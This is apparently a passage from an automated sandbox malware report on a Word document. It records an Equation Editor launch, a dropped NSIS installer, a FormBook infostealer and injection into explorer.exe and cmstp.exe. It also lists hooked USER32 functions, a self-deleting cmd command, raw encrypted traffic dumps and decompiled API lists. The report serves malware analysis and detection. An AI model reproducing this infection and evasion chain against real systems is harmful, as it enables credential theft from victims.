1d 2c 4e f6 ab b2 b2 95 86 df fb 38 d2 93 ca f9 69 de e2 16 11 7d a7 a4 d9 2f 02 c7 61 96 b9 3a ec d5 ba 53 13 c9 12 1a 04 85 ca 7f e8 9c Data Ascii: * C]s&-s[b>m6n$5Tz!FqB\Xm'~SS_q+)<[jpxB"a}U&;\|uWz57<iX};lRlZ!WGfiyfBZP,N8i}/a:S
2023-11-21 12:25:59 UTC	272	IN	Data Raw: 71 a0 09 07 17 06 ff 53 35 e0 60 2f 41 e6 24 b0 68 51 ba 81 b3 ba 5a 6d 54 15 65 74 18 3a 6c ff 29 b0 78 54 29 29 47 8c 0c a9 81 ac a3 51 b7 34 f7 d3 d4 a7 25 20 d4 83 e9 fa a7 3c 27 2e c5 58 43 d5 24 5b ec c0 3c 95 40 60 b5 7d 58 2e 7b fb 81 ad ea 43 7c 88 6d 1a c2 08 15 32 d4 63 4e af 79 b5 6f 0f f7 76 b5 58 71 4e 9f 9b c7 cf 84 ac 24 56 46 d0 97 5e 2e 7f db 5d a0 4d a1 f3 81 30 e9 78 b0 83 da cf 06 b5 72 40 e1 74 80 d3 36 0c db 68 59 b9 25 e6 5d 6c 0b 0f 77 a2 79 c2 0c fa 0c f7 22 67 3b a7 8c 38 d4 7d e7 d1 16 6c d7 76 b6 32 37 6c a1 0d 8d d7 1f d7 25 fc 7c 94 54 58 62 16 4c ca 99 50 38 81 ad 8d 33 3a da 7b 87 61 82 14 0a 48 37 41 3a 15 f8 46 c5 06 4d e5 c9 09 36 a1 37 9c dc bd 7c 98 b8 bf 4b 10 c7 ea 5c 28 da b5 3d 00 58 8b 8e f5 8d 33 40 ab fe ef c3 Data Ascii: qS5`/A$hQZmTet:l)xT))GQ4% <'.XC$[<@`}X.{C\|m2cNyovXqN$VF^.]M0xr@t6hY%]lwy"g;8}lv27l%\|TXbLP83:{aH7A:FM67\|K\(=X3@
2023-11-21 12:25:59 UTC	288	IN	Data Raw: 28 79 66 77 bc 6d 73 c1 3d b1 80 d2 00 d5 41 6b ae 89 e9 26 23 a7 06 50 eb a7 6b f2 39 ef 91 34 42 01 e0 33 2f c5 ce 76 61 a9 c5 16 be 11 5f 39 e7 c4 72 4f f1 b7 25 91 0c f4 e2 34 e8 d0 e1 bc db 45 66 4f 81 67 63 37 c2 01 db e5 a8 9e 90 1b b7 7d 84 39 5e f3 b0 9a d3 1f 97 d5 eb 79 a5 33 3f 88 d0 1f 68 d7 23 65 2f de 37 4f 10 ff 1b 06 6f b0 75 4e 39 53 59 9c 53 74 1b 56 79 85 ab cf 87 f3 b4 f1 2a ce b8 79 6b 66 b7 fa 39 4d 2a 3e 43 eb 7d 55 71 3c 0d 22 ae 4d 71 a9 48 3a 26 b9 9e 35 3c 6e 2d 7c 25 0b 1f 2c 99 1e 30 56 74 12 5a 55 0f 97 79 04 39 a7 59 59 99 78 e9 20 d2 69 8b dd 7b c0 5f 5d 78 b8 ce 83 16 a8 9d 19 4d fe 4c b9 ea fb 4e bd 42 cc d4 16 ba 4e ad 1c 8a 63 68 52 22 17 3a f7 5b 15 43 ed ce cc 11 77 63 4e b5 8a e2 7c 13 d1 f2 69 76 8c c1 84 6c bb 5e Data Ascii: (yfwms=Ak&#Pk94B3/va_9rO%4EfOgc7}9^y3?h#e/7OouN9SYStVyykf9M>C}Uq<"MqH:&5<n-\|%,0VtZUy9YYx i{_]xMLNBNchR":[CwcN\|ivl^
2023-11-21 12:25:59 UTC	304	IN	Data Raw: 9e 75 15 14 8f 99 58 0c be d2 85 ad e3 57 61 f2 ce c8 53 b7 ea 07 d8 4e 66 fb a1 2a 50 e5 6d 11 a4 39 18 20 5b f2 ac 10 15 c9 c5 73 66 c4 fe 08 57 c7 b8 67 14 87 ac 9b ac 6c eb d6 92 e8 a8 43 b8 e9 d4 ef dc 98 44 77 74 61 a6 f2 29 c6 af a8 14 ad d1 1f 38 cc b9 7d 95 e3 9e 53 04 61 b4 ff ef 9d a8 9c 40 c9 72 ab 05 14 12 d0 af 50 c0 ad d2 1f 49 db 0b c3 e2 e7 8a 5f 46 28 1c 27 76 c6 b0 86 a5 f7 e0 14 95 86 e2 39 ae a5 8f e3 f5 c9 50 ea fe 0d 0d e9 1a 71 1c a0 0a df 7f 09 18 4b ad 8a 0a a1 3d cb 4c e8 bb 8b c0 81 d7 c6 60 f0 ba a1 96 d8 b7 d1 ba a2 6c 62 05 c4 50 1c a4 4d c5 b0 47 ae 3c c3 a4 75 6e 17 e8 50 a7 f1 16 93 51 14 f0 c3 b6 5c 41 3a 78 da 85 a2 ea d4 82 d6 e7 cb 22 fa 0f 35 34 ed 3e 68 90 15 c1 69 0f eb 3f d4 39 b2 b8 7a 3b 75 3c a3 08 08 81 82 e6 Data Ascii: uXWaSNf*Pm9 [sfWglCDwta)8}Sa@rPI_F('v9PqK=L`lbPMG<unPQ\A:x"54>hi?9z;u<
2023-11-21 12:25:59 UTC	320	IN	Data Raw: 52 18 a8 03 38 98 f2 c4 65 74 9c 51 68 70 59 ea da 01 ec ba a0 58 9a 86 79 e9 09 d9 70 1f bf bf f1 35 7e d9 26 cf 54 b1 25 ca 94 2d 14 a7 cc 50 7f a7 b7 63 13 f5 14 16 16 f1 f3 e0 e7 07 c5 f7 4e 50 89 6a 4f 30 50 01 1e a8 9d ce 9b 05 23 97 94 bb 04 d8 ae 2e 95 a6 5e 18 d9 7a d4 19 ee 43 70 f5 a9 2b 09 a8 8d bb 74 13 fe 75 47 90 31 e5 f5 ab 36 77 ad b3 f5 0e 07 d7 8b c4 15 75 97 e6 00 e0 b9 d9 dd 7e f4 71 6a 92 63 91 29 c2 a1 71 c0 3f 24 30 9a 58 7f aa 5b 29 61 76 ae 5b 8f df d1 70 6a 32 e8 6e 66 8f 83 98 c3 62 35 df 3b 78 5c be 2e 18 fc b9 ca 2e 10 33 9f da 3f ef d1 2d 6c 0e 50 ad 12 03 91 b7 0f 08 d7 75 19 be ab ee fd 03 1e 8e ee d0 df 70 e3 be 65 f3 90 7f 0a 20 79 f1 66 61 ba a6 24 93 ca ed e7 73 6e 34 d4 26 65 55 2f d3 ae 13 af b6 3e e4 43 42 d1 23 53 Data Ascii: R8etQhpYXyp5~&T%-PcNPjO0P#.^zCp+tuG16wu~qjc)q?$0X[)av[pj2nfb5;x\..3?-lPupe yfa$sn4&eU/>CB#S
2023-11-21 12:25:59 UTC	336	IN	Data Raw: 40 6f d1 09 e6 0a 84 5a 24 b8 47 3a 38 59 38 05 c2 13 4b d4 29 0e 85 21 d2 ea 64 6e 6c cf 23 6d 0f f3 5b 03 55 ae 11 07 07 50 aa f4 79 a0 87 0c 12 ba 81 c1 e7 72 5a c5 8a 59 23 9f 99 80 b6 ae ec 8a c7 ac 26 01 f9 26 5b 56 79 9d b8 cc 2b 53 46 7a f3 b6 2a 00 7e 73 db 44 eb 8d 48 bf 8f 58 9c 86 9f ac ab 23 96 2a 99 b5 c4 29 b3 86 b2 31 62 4d 3e a6 ae bd 24 2e bc 15 95 dd 3f f8 b2 75 53 66 20 23 b4 70 79 b5 c5 97 50 2f e7 a9 0d 11 da da 52 7e 42 d9 44 61 08 1a 4f 1b 16 58 67 0c 4d 39 60 a1 d2 ea c0 ec 22 9d 8e 09 2c 01 9e e8 be 56 bc 81 2a 2d 83 71 a2 67 6c 07 a8 08 01 b8 09 26 c8 94 88 17 2f 9f 0d 93 fe e6 88 ef c6 f0 d7 a6 b9 1d ff 32 34 a7 41 70 99 50 9a 1b 43 df 32 60 e1 27 b9 ec 84 d5 d7 0f 0c 48 e7 d2 77 e9 de 5b db 51 73 85 31 0d 80 ff 40 c2 50 13 2c Data Ascii: @oZ$G:8Y8K)!dnl#m[UPyrZY#&&[Vy+SFz~sDHX#)1bM>$.?uSf #pyP/R~BDaOXgM9`",V*-qgl&/24ApPC2`'Hw[Qs1@P,

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: USER32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xEF
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xEF
GetMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xEF
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xEF

Target ID:	0
Start time:	13:25:51
Start date:	21/11/2023
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f930000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:25:52
Start date:	21/11/2023
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:25:57
Start date:	21/11/2023
Path:	C:\Users\user\AppData\Roaming\word.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\word.exe
Imagebase:	0x400000
File size:	345'522 bytes
MD5 hash:	B08C02AB269D1406728178E62017C3D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:25:57
Start date:	21/11/2023
Path:	C:\Users\user\AppData\Local\Temp\twbcaze.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\twbcaze.exe"
Imagebase:	0x400000
File size:	203'776 bytes
MD5 hash:	9C416E56B341D900E2DFEC7595CC85EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_NSISDropper, Description: Yara detected NSISDropper, Source: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NSISDropper, Description: Yara detected NSISDropper, Source: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:25:58
Start date:	21/11/2023
Path:	C:\Users\user\AppData\Local\Temp\twbcaze.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\twbcaze.exe
Imagebase:	0x400000
File size:	203'776 bytes
MD5 hash:	9C416E56B341D900E2DFEC7595CC85EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:25:58
Start date:	21/11/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000008.00000002.881171114.0000000008CBE000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:26:00
Start date:	21/11/2023
Path:	C:\Windows\SysWOW64\cmstp.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmstp.exe
Imagebase:	0xd0000
File size:	84'992 bytes
MD5 hash:	00263CA2071DC9A6EE577EB356B0D1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:26:03
Start date:	21/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\twbcaze.exe"
Imagebase:	0x4a4f0000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:26:17
Start date:	21/11/2023
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.7%
Total number of Nodes:	1291
Total number of Limit Nodes:	23

Executed Functions

Function 004030FB Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 315
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403121
GetVersion.KERNEL32 ref: 00403127
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403150
#17.COMCTL32(0000000B,0000000D), ref: 00403171
OleInitialize.OLE32(00000000), ref: 00403178
SHGetFileInfoA.SHELL32(0041F4F0,00000000,?,00000160,00000000), ref: 00403194
GetCommandLineA.KERNEL32(nrdosueajqjitn Setup,NSIS Error), ref: 004031A9
GetModuleHandleA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\word.exe,00000000), ref: 004031BC
CharNextA.USER32(00000000), ref: 004031E7
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 0040327E
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403293
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040329F
DeleteFileA.KERNELBASE(1033), ref: 004032B6

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

ExitProcess.KERNELBASE(00000020), ref: 00403332
OleUninitialize.OLE32 ref: 00403337
ExitProcess.KERNEL32 ref: 00403357
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 0040336A
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00409148,C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 00403379
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 00403384
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 00403390
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004033AC
DeleteFileA.KERNEL32(0041F0F0,0041F0F0,?,00425000,?), ref: 004033F6
CopyFileA.KERNEL32 ref: 0040340A
CloseHandle.KERNEL32(00000000), ref: 00403437
GetCurrentProcess.KERNEL32(00000028,?,00000007,00000006,00000005), ref: 00403490
ExitWindowsEx.USER32(00000002,80040002), ref: 004034E8
ExitProcess.KERNEL32 ref: 0040350B

Strings

/D=, xrefs: 00403241
UXTHEME, xrefs: 00403144, 00403149, 0040314F
C:\Users\user\AppData\Local\Temp, xrefs: 00403269, 00403309, 004033B2, 004033BB
_?=, xrefs: 004032E0
C:\Users\user\AppData\Local\Temp\, xrefs: 00403273, 00403278, 00403292, 0040329E, 00403367, 00403378, 00403383, 0040338F, 0040339C, 004033AB, 0040344B
.tmp, xrefs: 0040337E
NSIS Error, xrefs: 0040319A
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004031AF, 004031B5, 004032D6
C:\Users\user\AppData\Local\Temp, xrefs: 00403314
nrdosueajqjitn Setup, xrefs: 0040319F
Error launching installer, xrefs: 004032EF
", xrefs: 00403209
NCRC, xrefs: 00403229
~nsu, xrefs: 00403362
\Temp, xrefs: 00403299
1033, xrefs: 004032B1
C:\Users\user\AppData\Roaming, xrefs: 00403389, 0040338E, 004033BA
, xrefs: 0040311C
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00403405
SeShutdownPrivilege, xrefs: 004034A2

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ExitFileProcesslstrcat$Handle$CurrentDeleteDirectoryModuleWindows$AddressCharCloseCommandCopyErrorInfoInitializeLineModeNextPathProcTempUninitializeVersionlstrcmpilstrlen
String ID: $ /D=$ _?=$"$.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming$C:\Users\user\AppData\Roaming\word.exe$C:\Users\user\AppData\Roaming\word.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$UXTHEME$\Temp$nrdosueajqjitn Setup$~nsu
API String ID: 1031542678-394764541
Opcode ID: 8f74911709186bddaf2cccf0b89ea8509ed7bd73a7a07ba236b5c5ff12a0dd9f
Instruction ID: 90ec7ab760c3480979c70ff1213755fd4c015a14bcf9795d8db5e914811e335b
Opcode Fuzzy Hash: 8f74911709186bddaf2cccf0b89ea8509ed7bd73a7a07ba236b5c5ff12a0dd9f
Instruction Fuzzy Hash: E5A10470A083016BE7216F619C4AB2B7EACEB0170AF40457FF544B61D2C77CAA458B6F

Uniqueness

Uniqueness Score: -1.00%

Function 004054BD Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004054DB
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405525
lstrcatA.KERNEL32(?,00409010,?,C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405546
lstrlenA.KERNEL32(?,?,00409010,?,C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040554C
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*,?,?,?,00409010,?,C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040555D
FindNextFileA.KERNELBASE(?,00000010,000000F2,?), ref: 0040560F
FindClose.KERNELBASE(?), ref: 00405620

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054C7
C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*, xrefs: 0040550F, 00405515, 00405524, 0040555A
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004054BD
\*.*, xrefs: 0040551F

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nso8B21.tmp\*.*$C:\Users\user\AppData\Roaming\word.exe$\*.*
API String ID: 2035342205-3551532976
Opcode ID: 6e39d08db0da8798d4da0934d55880c8f60954caf57b81e1320f45a4632593a2
Instruction ID: 6fea787f5ff7f663b03802bfccf250d7b0f6b6b9ddff8139893414afbc0e0c0d
Opcode Fuzzy Hash: 6e39d08db0da8798d4da0934d55880c8f60954caf57b81e1320f45a4632593a2
Instruction Fuzzy Hash: D851CE30804A447ACB216B218C49BBF3B78DF92728F54857BF809751D2E73D5982DE5E

Uniqueness

Uniqueness Score: -1.00%

Function 004061D4 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
